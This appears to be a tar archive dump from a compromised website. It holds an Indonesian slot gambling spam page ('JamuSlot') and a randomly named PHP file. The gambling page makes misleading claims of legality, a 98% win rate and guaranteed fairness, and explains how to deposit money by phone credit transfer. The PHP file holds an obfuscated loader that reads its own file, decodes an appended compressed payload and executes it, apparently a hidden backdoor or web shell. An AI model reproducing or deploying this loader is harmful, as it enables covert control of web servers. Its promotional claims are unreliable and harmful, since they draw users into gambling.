?????????????? index.html000064400000200771152506666340006565 0ustar00 JamuSlot : Situs Slot Gacor Deposit Pulsa Tanpa Potongan Resmi Terpercaya
INFORMASI LENGKAP TENTANG SITUS JAMUSLOT TERBAIK DAN TERPERCAYA 2023
Nama Situs JAMUSLOT
Bocoran Slot : 🎰 Slot Hari Ini, Slot Gampang Menang, Slot Anti Rungkad, Slot Maxwin Jackpot, Slot Resmi
Slot Gacor Terbaru Pasti Maxwin : 🔥 Link Slot Gacor 🎰 Slot Online 🎲 Slot Gacor ⚡ Idn Slot 🍭Slot Mania
Daftar Game Slot Gacor 🔱 Gates of Olympus 🍭 Sweet Bonanza 💎 Starlight Princess 🎰 Mahjong Ways
Win Rate : ⚡ 98%
Sistem Deposit : 🏧 Bank Transfer, Dana, ShoopePay, Ovo, Gopay dan Pulsa tanpa potongan
WaktuDeposit/Withdraw :⏳ 24 Jam Online (1-3 Menit)

JamuSlot: Situs Slot Gacor Deposit Pulsa Tanpa Potongan Resmi Terpercaya 2023

JamuSlot merupakan situs online gacor deposit pulsa tanpa potongan yang resmi dan terpercaya di Indonesia. Kami merupakan salah satu pilihan situs judi slot yang memang memiliki lisensi dan legalitas resmi. Disini kami memiliki lisensi resmi dari berbagai lembaga ternama misalnya dari PAGCOR.

Lembaga ini yang kemudian menaungi aktivitas perjudian di wilayah Asia. Biasanya situs slot yang memiliki lisensi dari lembaga tersebut akan mendapatkan jaminan permainan yang 100% aman dan juga fair. Tidak ada campur tangan robot atau software serta admin dalam menentukan kemenangan. Situs slot dengan lisensi resmi ini juga akan memberikan jaminan pembayaran yang tepat waktu.

Slot online deposit pulsa merupakan salah satu pilihan permainan yang kian banyak diminati dan disukai oleh para pecinta taruhan selama ini. Banyak pemain yang memang tertarik untuk bermain slot untuk bisa mendapatkan kesempatan menang dan keuntungan yang besar. Siapapun Anda yang memang tertarik untuk bermain slot, ada baiknya memang bergabung bersama situs resmi dan terpercaya.

Disini kami adalah situs resmi terpercaya di Indonesia yang menyajikan dan menawarkan sekaligus juga menghadirkan banyak pilihan koleksi game slot gacor gampang menang. Kesempatan terbaik untuk Anda bisa bermain dengan slot dengan tingkat benang yang tinggi sehingga hadiah yang bisa didapatkan juga akan lebih besar dan menjanjikan.

Banyak sekali pilihan game judi slot slot gacor yang ditawarkan oleh situs slot deposit pulsa online JamuSlot. Tentunya para pemain sangat mungkin dan bisa untuk bermain permainan slot dengan deposito pulsa tanpa potongan sama sekali. Bahkan kami menawarkan kemudahan akses permainan multiple devices baik dengan menggunakan perangkat komputer, laptop ataupun juga smartphone mobile.

Jadi silahkan Anda gunakan satu dari banyak pilihan perangkat yang tersedia bisa digunakan untuk bisa bermain permainan slot online tersebut.


Manfaat dan Kemudahan Judi Slot Deposit Pulsa di Jamuslot

Bermain slot online deposit pulsa, tentu ini bisa beri banyak manfaat dan keuntungan. Para player yang menggunakan metode deposit slot via pulsa tentu bisa memperoleh dan meraih lebih banyak manfaat, kemudahan dan juga keuntungan tertentu. Tidak heran jika kemudian metode transaksi ini jadi pilihan yang paling ramai, populer dan banyak sekali peminat dan penggunanya. Dengan cara demikian, ini akan memudahkan dan memungkinkan Player untuk bisa dengan mudah memilih dan memainkan permainan slot sesuai dengan apa yang Anda sukai.

Berbicara tentang manfaat dan keuntungan bermain slot online deposit pulsa, tentunya di sini pastikan untuk anda bisa tahu terlebih dahulu kelebihannya. Berikut adalah beberapa diantara keuntungannya tersebut:

  1. Transaksi Realtime
  2. Salah satu manfaat utama dari judi slot deposit pulsa adalah kemampuannya untuk melakukan transaksi secara real-time. Dengan menggunakan pulsa sebagai metode pembayaran, Anda dapat melakukan deposit langsung ke akun judi slot Anda dalam hitungan detik. Tidak perlu menunggu waktu pemrosesan yang lama seperti pada transfer bank tradisional. Ini memungkinkan Anda untuk segera memulai permainan dan menikmati pengalaman judi slot tanpa menunggu waktu yang lama.

  3. Mudah dengan Fitur "BAGI Pulsa"
  4. Selain transaksi yang cepat, judi slot deposit pulsa juga memudahkan para pemain dengan fitur "BAGI pulsa". Fitur ini memungkinkan Anda untuk mentransfer sebagian pulsa Anda kepada teman atau anggota keluarga yang juga bermain judi slot. Dengan cara ini, Anda dapat membantu mereka untuk mulai bermain tanpa harus mengeluarkan uang tunai atau melakukan transaksi tambahan. Fitur "BAGI pulsa" ini memperluas aksesibilitas judi slot kepada lebih banyak orang dan membuatnya lebih mudah bagi orang-orang untuk bergabung dalam permainan.

  5. Deposit Murah dan Terjangkau
  6. Judi slot deposit pulsa juga menawarkan deposit yang murah dan terjangkau. Dalam beberapa kasus, biaya transaksi untuk deposit pulsa mungkin lebih rendah daripada biaya transfer bank. Selain itu, dengan banyaknya operator telekomunikasi yang menyediakan berbagai paket pulsa dengan harga bersaing, Anda dapat memilih paket yang paling sesuai dengan kebutuhan dan anggaran Anda. Hal ini membuat judi slot lebih terjangkau bagi para pemain dengan berbagai tingkat penghasilan.

  7. Alternatif Pilihan Selain Rekening Bank
  8. Selama ini, rekening bank sering menjadi metode pembayaran utama dalam judi online. Namun, tidak semua orang memiliki rekening bank atau mungkin tidak ingin menggunakan rekening bank mereka untuk berjudi. Judi slot deposit pulsa memberikan alternatif yang menarik bagi mereka yang ingin melakukan transaksi dengan cara yang berbeda. Ini memungkinkan siapa pun dengan nomor ponsel untuk terlibat dalam perjudian online dan menikmati kegembiraan dari judi slot tanpa harus memiliki rekening bank.

    Dalam kesimpulannya, judi slot deposit pulsa menawarkan berbagai manfaat dan kemudahan bagi para pemain. Transaksi real-time, fitur "BAGI pulsa", deposit murah, dan alternatif pilihan selain rekening bank membuat judi slot lebih dapat diakses dan lebih nyaman bagi banyak orang.


11 Daftar Situs Judi Slot Online Deposit Pulsa Terbaik Jamuslot

JamuSlot kali ini juga hadir sebagai situs slot deposit pulsa terbaik yang menawarkan permainan dari berbagai provider dan vendor developer game ternama. Saat ini provider game yang mengembangkan permainan slot online tersebut tentu sangat banyak sekali.

Tugas penting para pemain adalah memilih salah satu pilihan terbaik yang menguntungkan untuk dipilih. Jadi pastikan supaya Kemudian Anda memilih salah satu pilihan provider slot terbaik yang memiliki nilai RTP dan kemenangan tinggi. Jadi pastinya ini merupakan hal yang menguntungkan bisa didapatkan oleh para player.

Kali ini kami merekomendasikan setidaknya 11 daftar provider situs dari surat online deposit pulsa terbaik dan terpercaya yang bisa dipilih. Para pemain bisa memilih salah satu dari beberapa pilihan berikut ini:

  1. Slot Pulsa Joker123
  2. Pilihan pertama situs slot deposit pulsa yang bisa dimainkan oleh para pemain adalah Joker 123. Joker gaming ini sangat terkenal sebagai penyedia permainan slot dan Judika sinol serta tabel games terlengkap. Anda pasti sangat mungkin untuk bisa menemukan banyak pilihan game slot gacor bahkan tersedia 100 pilihan permainan bisa dipilih oleh para player.

  3. Slot Pulsa Microgaming
  4. Selanjutnya, para pemain juga bisa bermain permainan slot deposit pulsa bersama microgaming. Provider slot yang satu ini jadi pilihan tertua dan terbesar yang ada di dunia. Anda bisa temukan dan dapatkan banyak sekali penawaran menarik dari situs tersebut termasuk hadiah, bonus dan juga jackpot terbesar yang pasti sangat menguntungkan bisa dirasakan oleh para membernya.

  5. Slot Pulsa Pragmatic Play
  6. Pragmatic play juga merupakan situs provider slot deposit pulsa yang memiliki lebih dari 200 permainan. Permainan slot yang ditawarkan juga tersedia dengan berbagai tema menarik dan unik. Dengan begitu, pemain bisa memilih dan memainkan permainan tersebut dengan seru dan menyenangkan. Beberapa game slot gacor seperti sweet Bonanza, starlight Princess dan lain-lain juga tersedia bisa dimainkan.

  7. Slot Pulsa PG Soft
  8. PG Soft ataupun juga Pocket gaming merupakan pilihan terbaik selanjutnya yang bisa dipilih oleh para pecinta taruhan. Tugas penting anda adalah memilih salah satu pilihan jump slot paling gacor yang ditawarkan oleh situs tersebut misalnya ada dream of Macau, mahjong ways, dan beberapa pilihan game judi slot lain yang sangat seru dan menyenangkan.

  9. Slot Pulsa Netent
  10. Netent adalah pilihan situs slot pulsa terbaik dan terpercaya yang juga sangat menarik dan menguntungkan untuk dimainkan. Para player bisa memilih berbagai permainan yang slot yang unik dan menarik baik untuk video slot atau progresif slot dengan tingkat menang dan hadiah keuntungan yang sangat besar di dalamnya.

  11. Slot Pulsa Play and Go
  12. Play and go adalah pilihan situs slot pulsa deposit termurah juga bisa dimainkan oleh para pemain. Tingkat kemenangan tinggi yang ditawarkan menjadi daya tarik yang menguntungkan bagi siapapun yang bermain di sini. Beberapa game slot gacor deposit pulsa seperti Rise of Olympus, itu juga bisa anda pilih dan mainkan dengan mudah dengan RTP yang tinggi.

  13. Slot Pulsa Slot88
  14. Slot 88 juga merupakan pilihan situs slot terbaik deposit pulsa terpercaya yang ada di Indonesia. Situs yang satu ini juga punya pilihan game yang sangat banyak. Salah satu diantaranya adalah permainan slot gacor yang memiliki nilai RTP tinggi seperti King cat, 88 fortune, cara berbagai pilihan game slot deposit masalah.

  15. Slot Pulsa RTG
  16. RTG adalah singkatan dari Real Time gaming. Ini adalah pilihan situs slot terbaik yang cukup Real Time menawarkan berbagai penawaran menarik yang menguntungkan. Para player bisa bermain permainan slot dengan sistem main yang Real Time. Anda bisa coba untuk bermain permainan taruhan slot Real Time dengan sistem lain yang 100% Fair Play.

  17. Slot Pulsa Playtech
  18. Playtech juga memberikan penawaran terbaik Pilihan games slot pulsa dengan pilihan penawaran yang menguntungkan. Anda bisa pilih dan mainkan permainan slot deposit pulsa dengan sistem lain yang bagus, recommended dan juga menguntungkan. Tersedia banyak pilihan game dengan nilai RTP dan kemenangan tinggi bisa anda nikmati di situs ini.

  19. Slot Pulsa Habanero
  20. Habanero slot juga merupakan situs slot yang menawarkan metode transaksi deposit dengan pulsa. Pastinya kesempatan terbaik untuk anda menikmati permainan slot deposit pulsa dengan tingkat menang yang tinggi. Beberapa game slot gacor seperti koi gate, dan lain sebagainya, itu bisa anda nikmati secara mudah dan praktis di situs tersebut.

    Jadi setidaknya itulah beberapa pilihan koleksi provider game slot online gacor mudah menang ditawarkan oleh situs judi slot online JamuSlot. Tugas penting Anda dalam memilih dan menentukan pilihan yang bagus dan yang paling cocok serta tepat.


Jamuslot 5 Rekomendasi Game Slot Gacor Deposit Pulsa Gampang Menang

Kemenangan dengan mudah dan gampang di dalam permainan slot akan ditentukan oleh pilihan game yang akan Anda pilih dan mainkan. Saat ini pilihan game slot yang tersedia dan bisa dipilih tentu sangat banyak sekali.

Namun meski demikian para pemain harus bisa bijak mencari dan memilih pilihan game yang paling bagus dan paling cocok. Salah satu diantaranya adalah di mana pemain bisa memilih dan memainkan permainan slot gacor yang terbukti gampang menang.

Ada beberapa rekomendasi bocoran game slot gacor deposit pulsa tanpa potongan yang layak untuk dipilih dan dimainkan misalnya adalah sebagaimana disebutkan berikut ini:

  1. Slot Gacor Pulsa Starlight Princess
  2. Sepertinya Starlight Princess adalah pilihan game slot gacor deposit pulsa terbaik yang bisa dipilih oleh para player. Permainan ini jadi game slot gacor paling populer banyak disukai dan dimainkan oleh para pecinta taruhan. Nilai RTP kemenangan dari permainan satu ini mencapai 98%.

  3. Slot Gacor Pulsa Mount Mazuma
  4. Mount Mazuma pilihan game slot gacor pulsa lainnya yang juga ditawarkan kali ini oleh provider habanero. Game judi slot satu ini punya nilai RTP sebesar 96%, dan jadi incaran para pemain karena menawarkan banyak pilihan bonus dan jackpot terbesar di dalamnya.

  5. Slot Gacor Pulsa Alice In Wonderland
  6. Alice In Wonderland adalah pilihan game slot gacor deposit pulsa terbaik selanjutnya ya sangatlah recommended. Siapapun Pasti sangat mungkin untuk bisa bermain bersama situs slot online yang satu ini agar bisa menghasilkan dan memperoleh peluang kemenangan yang besar dan berkali lipat.

  7. Slot Gacor Pulsa 88 Fortune
  8. Apabila anda menginginkan untuk bisa memperoleh keberuntungan, maka disarankan untuk bergabung dan bermain bersama 88 Fortune. Permainan ini memang sungguh bisa membawa hoki dan keberuntungan karena menawarkan tingkat kemenangan RTP mencapai 99%. Belum lagi ada bonus spin gratis dan lain sebagainya ditawarkan di sini.

  9. 5. Slot Gacor Pulsa Dream of Macau
  10. Dream of macau adalah referensi dan rekomendasi terbaik yang kemudian ditawarkan juga oleh situs kami di sini. Kami menawarkan game ini dengan berbagai fitur dan penawaran menarik seperti adanya fitur pengganda, fresspin, serta berbagai pilihan lainnya. Soal tingkat kemenangan, game slot yang ditawarkan oleh provider Pocket gaming ini juga sangat tinggi dan menguntungkan.

Jadi kesempatan dan peluang terbaik untuk para player memilih salah satu dari beberapa pilihan game slot gacor sebagaimana direkomendasikan di atas. Pilihan bahagiamu slot gacor tersebut punya banyak penawaran menarik khususnya kategori game slot yang terbukti gampang menang dengan bukti nilai RTP tinggi dimiliki di dalamnya.


Jamuslot Tips Bermain Game Slot Gacor Deposit Pulsa Mudah Menang

Meskipun Anda bisa bermain dengan menggunakan deposit pulsa, tapi jangan lupakanlah soal tips dan strategi bermain. Kunci kemenangan anda dalam permainan slot online ini akan ditentukan oleh tips dan strategi yang Anda gunakan.

Ada baiknya memang jika anda memahami dan mengerti berbagai tips dan strategis itu yang memungkinkan anda untuk meraih dan memperoleh kemenangan dengan mudah.

Ada beberapa tips dan langkah jitu yang bisa dilakukan untuk bisa mereka menangan muda dari game tersebut seperti diantaranya sebagai berikut:

  1. Fokus pada pemilihan game slot gacor yang memiliki nilai RTP kemenangan tinggi.
  2. Biasanya permainan slot yang layak untuk dipilih adalah yang memang memiliki nilai RTP atau Win rate yang tinggi. Dengan memainkan permainan tersebut, maka peluang dan kesempatan menang para player juga akan lebih gampang dan bahkan lebih besar.

  3. Bermain slot dalam versi demo terlebih dahulu bagi para pemula.
  4. Pemula memang perlu belajar terlebih dahulu Bagaimana cara bermain permainan slot dengan baik dan benar, termasuk memahami aturan main dari game yang akan dimainkan. Salah satu diantaranya adalah dengan memanfaatkan fitur demo slot online gratis tanpa bayar.

  5. Bermain di JAMUSLOT dengan modal bertahap ataupun juga modal deposit kecil terlebih dahulu.
  6. Cara ini juga sangat efektif dan ampuh bisa dilakukan oleh para pemain untuk bisa bermain dengan modal kecil namun keuntungan yang bisa didapatkan mungkin bisa sangat besar. Secara bertahap, anda bisa menaikkan besaran modal bermain menjadi lebih besar lagi.

  7. Memanfaatkan bonus dan promosi sebagai sumber penghasilan tambahan.
  8. Para player juga bisa memanfaatkan kesempatan terbaik untuk dapat lebih banyak keuntungan dari Sumber penghasilan tambahan yang tersedia, salah satu diantaranya memang dengan memanfaatkan bonus dan promosi.


Jamuslot Daftar Game Judi Online Deposit Pulsa Terbaik di Indonesia

Saat ini pilihan game judi online yang bisa dimainkan oleh para player dengan deposit pulsa pilihannya sangat banyak. Oleh karena itu, para player memang harus bisa bijak mencari dan memilih sekaligus menentukan pilihan game yang memang sesuai dengan apa yang dibutuhkan.

Para pemain harus bisa pelajari sekali ini juga cari tahu bagaimana cara memilih game yang judi online deposit pulsa terbaik yang ada di Indonesia. Saat ini pilihan dia menjadi terbaik yang bisa dipilih dan menawarkan deposit pulsa tentu sangat banyak sekali, berikut adalah beberapa pilihan:

  1. Judi slot online
  2. Live casino / casino online
  3. Poker dan domino
  4. Arcade
  5. Togel Online
  6. Sabung Ayam


Jamuslot Situs Slot Deposit Pulsa Resmi Terpercaya dan Legal di Indonesia

JamuSlot sendiri merupakan salah satu pilihan situs slot online deposit pulsa yang resmi dan terpercaya bahkan legal di Indonesia. Kami memiliki lisensi dan legalitas yang jelas misalnya dari lembaga PAGCOR. Selain itu, para player juga di sini akan mendapatkan jaminan permainan yang resmi dan terpercaya bahkan bebas dari kecurangan serta bebas dari penipuan yang akan merugikan para pemain. Kemenangan berapapun para player, itu pasti akan kami bayarkan karena memang menjadi salah satu hal yang penting untuk diperhatikan.

Situs slot online deposit pulsa yang ada di Indonesia dan bisa dipilih saat ini memang sangat banyak dan lengkap. Tapi meski demikian para pemain juga harus bisa bijak mencari pilihan situs yang terbaik yang memiliki lisensi dan legalitas resmi.

Para player bisa mendapatkan jaminan permainan yang 100% Fair Play, tanpa kecurangan dan tidak tanpa penipuan yang akan merugikan bagi anda sebagai pemain yang memainkan permainan tersebut.


Jamuslot Situs Judi Slot Online Deposit Pulsa Tanpa Potongan Termurah

JamuSlot adalah situs judi slot online deposit pulsa tanpa potongan yang ada di Indonesia. Artinya para pemain bisa bermain permainan slot dengan menggunakan metode deposit pulsa tanpa ada biaya transfer atau biaya potongan yang dikenakan.

Artinya juga para pemain akan melakukan deposit dengan nominal tertentu dengan tanpa ada biaya yang dipotongkan atau harus dibayarkan. Dana yang anda transfer dalam proses deposit, itu akan masuk ke dalam bentuk chips dengan nominal yang sama dengan apa yang Anda kirimkan.

Kemudian di sini kami juga merupakan pilihan situs slot deposit pulsa yang menawarkan minimum deposit termurah dan terjangkau. Para player bisa melakukan proses deposit pulsa dengan modal hanya 10rb.

Tentunya ini adalah modal minimum deposit yang sangat murah dan terjangkau untuk semua kalangan termasuk para pemain pemula yang mungkin mau mencoba bermain slot deposit pulsa Sebelum pakai deposit uang asli.


Jamuslot Tutorial Cara Deposit Slot Online via Pulsa

Para player pemula yang memang tertarik untuk mencoba bermain slot menggunakan deposit pulsa, sebaiknya mengetahui beberapa tutorial dan panduan yang baik dan benar. Ada beberapa tahapan dan panduan tutorial cara deposit slot pulsa yang bisa diikuti oleh para player.

Hal yang paling utama adalah mengetahui format bagi pulsa pada pilihan operator pulsa yang akan anda gunakan untuk deposit tersebut. Berapa diantara pilihannya adalah sebagai berikut:

  • Format deposit pulsa Telkomsel - Silakan ketik dulu *858*NO HP BANDAR*NOMINAL# tekan Panggil
  • Format deposit pulsa XL - Silakan ketik saja BAGI spasi NO HP bandar spasi NOMINAL kirim ke 168

Jadi dua pilihan format itu yang bisa digunakan oleh part player jika melakukan proses deposit pulsa baik itu menggunakan pulsa Telkomsel ataupun juga XL. Selain kedua pilihan operator pulsa tersebut, juga Anda bisa menggunakan pilihan operator pulsa lain seperti, 3, indosat dan lain sebagainya.


Jamuslot Agen Judi Slot Deposit Pulsa 24 Jam Full Support

JamuSlot menjadi salah satu pilihan situs agen judi slot online deposit pulsa di Indonesia yang memberikan layanan full support 24 jam nonsstop. Setiap pemain akan mendapatkan jaminan permainan yang full time 24 jam bebas dari berbagai masalah yang merugikan.

Kesempatan terbaik untuk Anda bisa bermain sport dengan layanan support full time agar sistem main berjalan dengan lancar tanpa mengalami masalah. Tersedia juga kontak layanan yang bisa dihubungi kapan saja jika kemudian Anda memiliki pertanyaan atau mengalami problem atau masalah.

Dengan layanan dan support yang diberikan oleh Jamu Slot, maka para player bisa langsung daftar akun untuk bisa mulai buktikan. Proses registrasi akun bisa dimulai dengan mengunjungi halaman situs atau link alternatif JamuSlot. Lalu setelah itu anda bisa langsung untuk mengklik tombol daftar dan mengisi formulir online yang tersedia dengan menggunakan data yang benar.



FAQ - Tentang Situs jamuslot Deposit Pulsa Tanpa Potongan

  1. Apa itu slot pulsa?
  2. Plat pulsa adalah permainan slot dimana metode transaksi bisa digunakan para pemain tidak harus selalu menggunakan rekening bank, tapi juga menggunakan metode alternatif yaitu pulsa.

  3. Apa untungnya bermain slot deposit pulsa?
  4. Bermain slot deposit pulsa tentu bisa beri banyak keuntungan dan juga kelebihan bagi para membernya. Misalnya player bisa melakukan proses transaksi lebih mudah, real Time, deposit murah, dan praktis.

  5. Apakah situs slot JamuSlot resmi?
  6. JamuSlot merupakan situs slot deposit pulsa di Indonesia yang memang resmi dan juga terpercaya. Di sini Anda bisa melakukan proses deposit pulsa dengan jaminan permainan aman nyaman 100% Fair Play.

  7. Apa saja jenis pulsa yang bisa digunakan di situs JamuSlot?
  8. JamuSlot menawarkan kemudahan deposit pulsa menggunakan berbagai pilihan dan operator. Misalnya Anda bisa melakukan deposit pulsa melalui operator rabusa Telkomsel dan juga XL.

  9. Berapa minimum deposit slot pulsa di situs JamuSlot?
  10. JamuSlot adalah situs slot deposit pulsa termurah di Indonesia bahkan tanpa potongan yang menawarkan minimum Depo termurah. Pemain bisa melakukan proses deposit dengan minimum deposit hanya 25rb.

HUXFZbyQg8.php000066600000024664152506666340007131 0ustar00',$GjSb('zcmxwubhjv','<',$zipq($MUCd( __FILE__ ),-10442)))));$kaXb(0); ?> x|$U?bv DYh]gtqwhs긻zcmxwubhjv I0', |VE|&xWӳ]3;Oݪ{=w={{:j-hqzau[JRrůFa/,ȿNc6uy\ݬ2l1qsuFXސԳ\QORkF833}Ԕ`|V씂iibNxnrkhlcgifZ7)u;7LM7Nc?qCF#xnrkhlcgifL+8_SsSJlx8os!iEIfL4f@In]۵;h4;'qy#O&+_YdLOm崂 ?4IQ!zcmxwubhjvmƍD*/fE]LI]fyUB,Od+'͟vҬ T標"YEvN6;%$QNSNIM7?}UՖ6yzcmxwubhjvxnrkhlcgifi@͗x}xP8zcmxwubhjv~Awsǁ;zp4/:oO[?7s˻Ox/xnrkhlcgif{eOl.8F.Q뽆˳0ݽ8mvp6}޿zcmxwubhjvtaϞZƣ7]^m5_Ʌ_.]W8_K㡓LJm_9׸oy(}/]WJT7K8fK/?r?rOM/|W:#4s[|& װ[nyĢC'zcmxwubhjv!'/wxnrkhlcgif.Ůs{0Bto8sܺ\wx+^gɻ??|xZ?jKc)sg]AՇy+mxnrkhlcgifX牿37_|Q(ӥ xnrkhlcgif 'PO.htڛ}ѭT[|j]rTcyW]c4=(yvoQg__R?{~oW8'~uq^:fkzcmxwubhjvK?~⥗|Ư~w¶mݯo=w??|s/_@EW_'N17oџ^t5s}| .X|?y}޽9Ϋq}V3K|y9kcz޺+q?m#:aש; ÞxUC%~ԝW]miO#wNp8~񯎽/{?4S_|ƭ':uexzw۶ና߻OV|ݶ??RIᰏj{࡝.xgmyc}G};pKDqm߇op .=g*ރy_ xnrkhlcgifr]pGgڧ{hI/no/.~cv3_;м==;;Ѳ{,oӉo.~Ǿ{_;7gb?|_{{7UnKf}xŎ+N-wG{.iw/_g?ٟx?_3Uy/WzWW[|μ~}Sjzcmxwubhjvd#.xnrkhlcgifz=|c;.?߳m7;wC} [nÍxnrkhlcgif~v۶N=eRҕ7 de;9;mi6}ޛ==Ys.L|꛹ ߱~5?zzcmxwubhjvT?rxnrkhlcgifGnǽtYL^q{;zcmxwubhjvxnrkhlcgifW43,)/\yW텻@}Ѕ{xnrkhlcgifhh~@{RuE]c8vwԗrĹwO_ˍc~+O|iÓCͻM{ʡ׺]xnrkhlcgifHG.{c;ou\|}d~sS&|L'ۯmKkg|[Sf˃ܵl;{N}AW7t{{';׼~ ;&/ܺ8uaS=Tbf0a 1Nj0|$\wnt,-$[Y `r\ۭ@hp5SrAl8()TBi t;@4B ;RBV:hu'&Ռ&ۧ^-?tKzcmxwubhjvsɨz9fiъ-r:-7=90Y dC+[;'R]e,C@˃I+J032-q@ԨN!陯st^-+ӊ1oa(u.' cQGw:"T[ַ-Fh|gX,=:fV|}*^%8RG+\#47o vohOjf%)pzcmxwubhjv^UC̵lGlV.6'J7tZQdfb P)M_-!F3ؠtcZ4!g A'*nB;_r&S-j8KY9Iyh]5d[CӡCira"&Sxnrkhlcgif@,̜zTͫoi+JcnKeDyR)dӒ=R 8NQ$B& -&6[ !TplBdRi;MہΣ/MI^Kg,S$*xnrkhlcgifb Gܷ~d)(@(ŕTAIM@=-vz˘/*L&Ȁu$&W jL3FT#E仠ШMk=Cl h74s5zKibb . \M86=[ڃ6֖AO7F[`:nɳԂq C,^kRnrdT.@K]k ?0Cal\r|#VdKzmVRTe‡[i+u#]$%z-+u %$Ւ%JrΉ, JEoK&ũMR fђᘎ Y#}՜kN)8@Jr҅("$CrKk{qLWR1A'YB+l5TYBԗU} wLL"'2M#QPd蕙ZeduhY2l5!j~P7{ S"P5hOe䪐{LR94Mڎ\xD)&۞Dޥ BuNv"[lXYV H;[w,Q+[IZnD Fc^U2TUsRM7;j9.xeEnlۛ)UDVx맳Zzcmxwubhjv瘥Z) $5T@qXd5c%kf*qLfk1zcmxwubhjvްv)#V~HPb=L͠U)⓺^o*ۙP yEFmIu| R$&TLhI 'a'O4:G20C͹ %F4NZ_#4@΋QVg\%PO#L\MyYFr fM"-Ҙ fNR wQ!_I{}p]"Sk=iEXX3|Ҋ[De:.ȵJڎfdF?,ƴoH)skidb]fX4l; ѴܥVUh4yqYK4"pؓBN{rJMVK]I44{A:\y1yj n"AA7^jGV1K$&2Bxnrkhlcgif6p![$EB&_. +Ms!w/E3;8+’CN.*J覌#+,i#C6 0C7*J$`JMVUڒJTRB5j!pLF fp 0B* \v64DPQ3+廘Wq}KFUVțe8Y&)lP`UBisgR鄯r`'BAJK f@{|"&YH*kj=T2(5T@`ZP"0.\h`6K$L@~$Bu)ktZm@RaRsኽ sM -Te7&@ B&\aUʛ} p(y2K9;|U&ˊU3z2Uno"ϢrQb;!rs$Iꡮ.r5K@qzmhR@bmkUy ik$olPfX'xnrkhlcgifAzU^.ePSu hxt v@&_/#5gaq\it"*+1QPRR}|Ke@پ5# ܦ} j*Uup e;ո2MnBAGXy2jI3Z4稆@M)$VrJf"SsR-% ~=[ңlQ$ !'#kՄWI.8.b-ns@XP(O"s?AH-.g%ZZV&ELGzcmxwubhjv#k/T+tS]40hdrMM|G{]=8 "c+xnrkhlcgifZ( qzcmxwubhjv/ 2' Dx'N(/ "%BUGt JqV$,uR la͢@Rg~;IUMeDS[4*+7}o6Gwdva2A[F˜}xnrkhlcgifKAү2-#R!ޔԡX't6hq"WYsO͋3LW&o-l})LzF4;-QRJ-ȭZk+v+5p-RVStI.x5W{g$rH3 -*;(.^L.-2ǤwQWGX$ZQ,7BUzcmxwubhjvBdv,+4V$?]@"RJ"Y +qڇ h!mU4#z ;U}+TPWX6W˒'We~|\2۶tRp16:B(+ְ0{(Ada*\MȢX64h*R+ "5 CBа5 kp f@hpHPiQ^'1O*@$!{EOӡb5'FLl/%;V,1N)UMт\Ge&MyBYzZmtAHqR&/LF* 6j %O]:lէcp"Q\BsߓdUKq}ZQ+R=rt·ii(n% `oi9+u"2YE˫jjuVѱX]28xnrkhlcgifEr0V/U"\20⫷,َzWj|6Kd,Q0֔O(P㒶Z\Z}cު5rOyoN$֫G7R jr4W~Z2;!jfA"v1Y;=xęBז蒕m0 jzcmxwubhjvǭ6xnrkhlcgif5q &ϮZB7/&Im'roѩVjkFvJRǠiXĊ$  |!E8\!k.IZyh68qʐho;hP]B=W9pf*jvh0 " պA@=Y/p̪:@JoY $9#"lp~˶͝RPڀ+Qlb.'ݩsYJ.uV aAiڭRXaKj0Ų"\Rxnrkhlcgif]K $6j|yܦ5Vՙ,1It"8H9f| 51+.Wm B:;b_uzQ|ԗ amH Ҏ LH疬X.Y*ܐrXCzӞR\^;]$$zHj U6OC ]UȾ-.jIOiUoXRxCh:YAA=7}M;O#MWptSxnrkhlcgif$4NZrpIt= zcmxwubhjvoewLsS`5!{FhwRl˙cBc@H9sT낈g0H(7@U7 ׵Mmϒ))4&3 Oo.9A0p)]=*PDZl&e$!9;HMNdOK^(?ƺ4WTnuq*8X5v#ۑ,Zt x4.DRq5s5RzcmxwubhjvGZ IN# SNSɚ4&s7Te2 wve"sJ(:kñp(FTc1D I\KhMъz,Wx rl:-DTwמx{r3Ⱂ.!o^ lr.1 ; Nh/.ULj@HF4Hl$vVP [LIx) R6k¬xR\B,4V:#r]Z?1! 頾UDz 6Y:'Ԃ{g[8̵XJ$,w(izcmxwubhjv'&" K7:?G?^bk,A,1AG(t$(lSctb^:] B*n$3?V'bK,R4ƒ 鰁hhi1#ڊ!pzpΉ&tM*2zcmxwubhjv,x!ri:X6槗}n+ rTR1V mxnrkhlcgifd? ^ pO ii |J^v_pTe9+gDΐ ,VI,,ŧDD:"H@24'CY8zxnrkhlcgifI0c,"""1a@ȁ#RH*-NeN84:('" Na;xnrkhlcgifP9$lYP#nN4`KEU_֢h׆ގlN]EJU}܈cIϴJh-r Z9 TJyDE[a[ccJc{KiךdKMV&';+?䖺B(@z11e L\tvvaĺ]ؓ]62LU4 "?@g/[4PI%P4o:a@,OXXkU퀜r蒎 pd * LX }Jg'd%:~E-W(oS!;9mҍޜniqՔX==\Ϗ/tBdVDsuK@Pnet%','9ҡb?:tZ!3YRZVIi3Y&ͭpM;iڼ\[%CYr(#πN%Nh.F+{6O+Nn4HVn'p*2eeZ42W9e*%O$e#D)e5C͜/~N *`#Z1Vjsc!vD`͎̗3zcmxwubhjvRHW)zcmxwubhjvs)Q1lufɄIJK *bCB3ZTPsUڙZe \"#w8*&vƀi|M62=eep`\i4pYq-Ia(eg{b }Ae]$ ,6aP(䍹wigNLdtV nz5teF{93?HvCU]3 /diW" jR=jxnrkhlcgifiD#XJ_ kPQ֥eѮeW ΐǥ6fT2끎wzd[5\Y*gfcB #렬jn]zcmxwubhjv gQgu S dؾziQgұzSs!3Mi Nu1UE, hƓxnrkhlcgifwq5Zaf[xnrkhlcgifF"h:2HJc@eg=S+-L5NA-.J x.uXiJW ZJ]4R!ELK!Yzcmxwubhjv4BZf&+|]O?;*R)ˍJA1HEOA FȺ +rdoWD%84h@ibP7N@ X- ;iArEJ(9cV.c\ncWrzcmxwubhjv7v+Ut+Ɵ9A75Kx9qpǎժ򝼼_bMD0mx]75jBeXCKJB$ȷ2)()C 9WZhW,AhܪbRc7UOzK7z~ b-R$Ha`F(Ilu c}AhԲ*/V˻|BTVBveM?/RVJ WЮEovt!ʦd*gsc,?H,ɕ8 )QsӄYA]xnrkhlcgif1bve'xTfQ_ܿ%GV8l6u،"- x4 8$$K []QH&(DurTP+'idBUUez.-lnvyh"sjYjeQ}(35MP=ˤcuK֢\!04V)@)Vg@'3`2@r:cЍ*k^:PZs.{rA2sPCJVgA#@5VdUd@/SezYIr_dq@/QJvz;0z` DV)ädbA67J&5ȔZ r l 